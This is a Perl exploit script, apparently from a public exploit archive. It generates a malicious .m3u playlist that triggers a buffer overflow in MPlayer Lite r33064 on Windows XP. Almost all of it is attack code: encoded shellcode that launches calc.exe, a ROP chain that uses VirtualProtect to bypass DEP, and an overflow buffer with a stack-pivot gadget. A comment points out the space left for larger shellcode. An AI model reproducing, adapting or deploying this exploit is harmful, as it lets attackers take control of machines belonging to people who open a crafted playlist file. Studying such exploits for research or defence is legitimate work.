MPlayer Lite r33064 – ‘.m3u’ Local Buffer Overflow (DEP Bypass)
#!/usr/bin/perl # #[+]Exploit Title: MPlayer Lite r33064 m3u Buffer Overflow Exploit(DEP BYPASS) #[+]Date: 24\07\2011 #[+]Author: C4SS!0 and h1ch4m #[+]Software Link: http://sourceforge.net/projects/mplayer-ww/files/MPlayer_Release/Revision%2033064/mplayer_lite_r33064.7z/download #[+]Version: Lite 33064 #[+]Tested On: WIN-XP SP3 x86 Brazilian Portuguese #[+]CVE: N/A # #Created BY C4SS!0 G0M3S #E-mail Louredo_@hotmail.com #Site net-fuzzer.blogspot.com # # use strict; use warnings; use IO::File; print q { Created BY C4SS!0 G0M3S Site net-fuzzer.blogspot.com E-mail Louredo_@hotmail.com }; sleep(2); my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1". "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30". "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa". "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96". "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b". #Shellcode WinExec "Calc.exe" "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a". #Badchars "\x00\x20\x0d\x0a" "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83". "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98". "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61". "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05". "\x7f\xe8\x7b\xca"; my $rop = "BBBB"; $rop .= "CCCD"; $rop .= pack('V',0x6496E0BB);# POP EDI # RETN $rop .= pack('V',0x6D7CBBE4);# Address to kernel32.VirtualProtect ##############################################ROP EXPLOIT###################################################################### $rop .= pack('V',0x649abc7b); # PUSH ESP # POP EBX # POP ESI # RETN $rop .= "BBBB"; #Junk $rop .= pack('V',0x6B0402A9); # MOV EAX,EBX # POP EBX # RETN $rop .= "\x01\x42\x42\x42"; #Junk $rop .= pack('V',0x6AED7BAF); # POP ECX # RETN $rop .= "\xff\xff\xff\xff"; $rop .= pack('V',0x6AD85749); # POP EBX # RETN $rop .= "\x40\x40\x40\x40"; $rop .= pack('V',0x6ADB3A50); # INC ECX # ADD AL,5B # RETN $rop .= pack('V',0x6ae00bf0); # ADD CL,BL # RETN $rop .= pack('V',0x6AD85749); # POP EBX # RETN $rop .= "\x02\x42\x42\x42"; $rop .= pack('V',0x6afa6dd8); # MOV EAX,40 # RETN $rop .= pack('V',0x6b0817a0); # ADD AL,89 # RETN $rop .= pack('V',0x6b0817a0); # ADD AL,89 # RETN $rop .= pack('V',0x6ADA31E1); # ADD AH,BL # RETN BL = 01 $rop .= pack('V',0x6B0B7A46); # MOV EDX,EAX # MOV EAX,EDX # RETN $rop .= pack('V',0x649abc7b); # PUSH ESP # POP EBX # POP ESI # RETN $rop .= "GGGG"; #Junk $rop .= pack('V',0x6B0B7A46); # MOV EDX,EAX # MOV EAX,EDX # RETN $rop .= pack('V',0x64975830); # POP EAX # RETN $rop .= pack('V',0x64975918); $rop .= pack('V',0x649B11EC); # PUSHAD # RETN ##############################################ROP END HER########################################################################### my $buf = "\x41" x (4496-12); $buf .= $rop; $buf .= ("\x90" x 10).$shellcode; #You have a good space for shellcode here :) $buf .= "\x41" x (5152-length($buf)); $buf .= "\xeb\x0f\xcc\xcc"; $buf .= pack('V',0x6497ab0c); # ADD ESP,17CC # POP EBX # POP ESI # POP EDI # POP EBP # RETN $buf .= "\x90" x 400; print "\t\t[+]Creating M3U File...\n"; sleep(1); open(my $FILE,">Exploit.m3u") || die "**[x]Error:\n$!\n"; print $FILE "http:// ".$buf; close($FILE); print "\t\t[+]File Exploit.m3u Created with Success\n"; sleep(1); |